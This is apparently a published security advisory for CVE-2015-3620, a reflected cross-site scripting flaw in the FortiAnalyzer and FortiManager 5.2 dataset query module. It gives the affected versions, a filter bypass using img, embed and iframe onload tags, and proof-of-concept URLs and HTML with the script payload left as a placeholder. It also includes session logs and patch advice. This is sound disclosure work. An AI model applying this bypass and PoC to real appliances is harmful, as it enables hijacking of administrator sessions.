Fortinet FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
Fortinet FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1354

Security Bulletin FortiGuard:  http://www.fortiguard.com/advisory/FG-IR-15-005/

PSIRT ID: 1327458

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3620

CVE-ID:
=======
CVE-2015-3620


Release Date:
=============
2015-05-05


Vulnerability Laboratory ID (VL-ID):
====================================
1354


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
FortiAnalyzer Centralized Logging and Reporting Appliances securely aggregate, analyze, and report on network log data 
gathered 
from Fortinet Network Security Appliances and other syslog-compatible devices. You can analyze and manage a wide range 
of data, 
including security events, network traffic, Web content, and email, to measure your security posture regulatory 
compliance. 
FortiAnalyzer is one of several versatile, adaptive Fortinet Network Security Management Products that support diverse 
deployment 
types, growth flexibility, advanced customization through APIs and simple licensing. Versatile models are designed for 
large 
organizations and multi-tenant environments, smaller networks and mid-enterprise organizations

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/network-security-logging-reporting.html )

The FortiAnalyzer Virtual Security Reporting Appliances securely aggregate log data from Fortinet devices and other 
syslog-compatible 
devices. Using a comprehensive suite of easily-customized reports, users can filter and review records, including 
traffic, event, virus, 
attack, Web content, and email data, mining the data to determine your security stance and assure regulatory 
compliance. 

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/virtual-security-reporting.html )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side vulnerability in the Fortinet FortiAnalyzer & 
FortiManager v5.2 appliance web-application.


Vulnerability Disclosure Timeline:
==================================
2014-12-01:     Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-12-02:     Vendor Notification 1 (Fortiguard Security - CERT Team)
2015-02-10:     Vendor Notification 2 (Fortiguard Security - CERT Team)
2015-02-13:     Vendor Response/Feedback (Fortiguard Security - CERT Team)
2015-04-30:     Vendor Fix/Patch (Fortinet Developer Team)
2015-05-05:     Public Disclosure (Vulnerability Laboratory)



Discovery Status:
=================
Published


Affected Product(s):
====================
Fortinet
Product: FortiAnalyzer & FortiManager - Appliance Web Application 5.2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A non-persistent input validation web vulnerability has been discovered in the official Fortinet FortiAnalyzer & 
FortiManager v5.2 appliance web-application.
The security vulnerability allows remote attackers to manipulate client-side application to browser requests to 
compromise user/admin session information.

The vulnerability is located in the `query and name` values of the `Reports > Advanced > Dataset > View Dataset` 
module. Remote attackers are able to 
inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted 
weblinks to execute client-side 
script code that compromises the fortinanalyzer user/admin session data. The execution of the script code occurs in the 
test query display module.
The attack vector of the vulnerability is located on the client-side of the online-service and the request method to 
inject or execute the code is GET.

The appliance web-application filter prevents to execute script code tags after the request by the vulnerable inputs. 
To bypass the validation filter 
and protection mechanism of the fortinalayzer use the img, embed and iframe tags with onload to inject client-side 
script code. The problem is that 
the input filter does not capture the the context with the correct encoding as result the code bypass the filter of the 
appliance and executes as dom.

The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common 
vulnerability scoring system) count of 3.5.
Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user 
account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent 
external redirects, non-persistent load 
of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
                                [+] GET

Vulnerable Module(s):
                                [+] Reports > Advanced > Dataset

Vulnerable Parameter(s):
                                [+] name
                                [+] query

Affected Module(s):
                                [+] View Dataset - SQL RUN Query Display


During the client security tests the research team noticed that the official vm version and the all appliance models 
are affected by the security issue. 
The following versions and models of the fortinet fortianalyzer appliance web-application are affected by the remote 
cross site scripting vulnerability.

Affected Model(s):
                                [+] FortiManager 5.2.0 GA, 5.2.1 GA
                                [+] FortiManager 5.0.3 GA to 5.0.10 GA release
                                [+] FortiAnalyzer 5.0.0 GA to 5.2.1 GA release

Affected Version(s):
                                [+] 5.2.0, 5.2.1, 5.0.3 to 5.0.10 & 5.0.0 to 5.21 (GA)


Proof of Concept (PoC):
=======================
PoC: 
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&;
time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT 
INPUT VALIDATION VULNERABILITY!])%20%3C

https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22
week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION 
VULNERABILITY!])%20%3C


Exploit: PoC

<html>
<head><body>
<title>Fortianalyzer & Fortimanager- Dataset "Query" - Cross Site Scripting PoC</title>
<iframe 
src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&;
time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT 
INPUT VALIDATION VULNERABILITY!])%20%3C>
<br>
<img 
src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&;
time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT 
INPUT VALIDATION VULNERABILITY!])%20%3C>
<br>
<iframe 
src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22
week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION 
VULNERABILITY!])%20%3C>
<br>
<img 
src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22
week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION 
VULNERABILITY!])%20%3C>
</body></head>
</html>


Source: Reports > Advanced > Dataset > View Dataset (1) > Query & Name

          <tr id="yui_3_5_0_1_1417083590427_1543">
            <td id="yui_3_5_0_1_1417083590427_1542" colspan="2">
              <input id="id_test_sql" value="Test" type="button">
            </td>
          </tr>

          <!-- Output Console -->
          <tr>
            <td colspan="2" id="id_sql_console_output_td">
<div id="id_sql_console_output" class="yui3-skin-sam"><pre><code>ERROR:  unterminated quoted identifier 
at or near ""><[NON-PERSISTENT INJECTED SCRIPT CODE!]) <
^
</pre></code></iframe></code></pre></div>
            <img id="id_query_response_waiting" src="/resource/images/loading.gif" style="display: none;" 
hidden="true"></td>
          </tr>
        </tbody>


--- PoC Session Logs [GET] ---
Status: 200[OK] 
GET 
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT
 INPUT VALIDATION VULNERABILITY!])%20%3C Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[-1] Mime Type[application/json]
   Request Header:
      Host[fortianalyzer.127.0.0.1:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      X-CSRFToken[55cee37b45599df7afe8bdd27e66bc11]
      Referer[https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386]
      Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; 
CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw==; 
csrftoken=55cee37b45599df7afe8bdd27e66bc11]
      Connection[keep-alive]
   Response Header:
      Server[Apache]
      Expires[-1]
      Pragma[no-cache]
      Cache-Control[no-cache]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Keep-Alive[timeout=30, max=72]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[application/json; charset=UTF-8]


-

Status: 200[OK] 
GET https://127.0.0.1:8080/p/report/dataset/list/html/x[NON-PERSISTENT INJECTED SCRIPT CODE!] Load 
Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[127.0.0.1:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386]
      Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; 
CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw==; 
csrftoken=55cee37b45599df7afe8bdd27e66bc11]
      Connection[keep-alive]
   Response Header:
      Date[Thu, 27 Nov 2014 10:23:54 GMT]
      Server[Apache]
      Vary[Cookie,Accept-Encoding]
      Set-Cookie[csrftoken=55cee37b45599df7afe8bdd27e66bc11; expires=Thu, 26-Nov-2015 10:23:54 GMT; Max-Age=31449600; 
Path=/]
      Content-Encoding[gzip]
      Keep-Alive[timeout=30, max=70]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=utf-8]




Reference(s):
https://fortianalyzer.127.0.0.1:8080/p/report/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable name and query input fields in the data 
set view module.
Restrict the input fields and disallow special chars. Encode the test code display output to prevent client-side script 
code injection attacks.


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in the dataset view module is estimated as 
medium. (CVSS 3.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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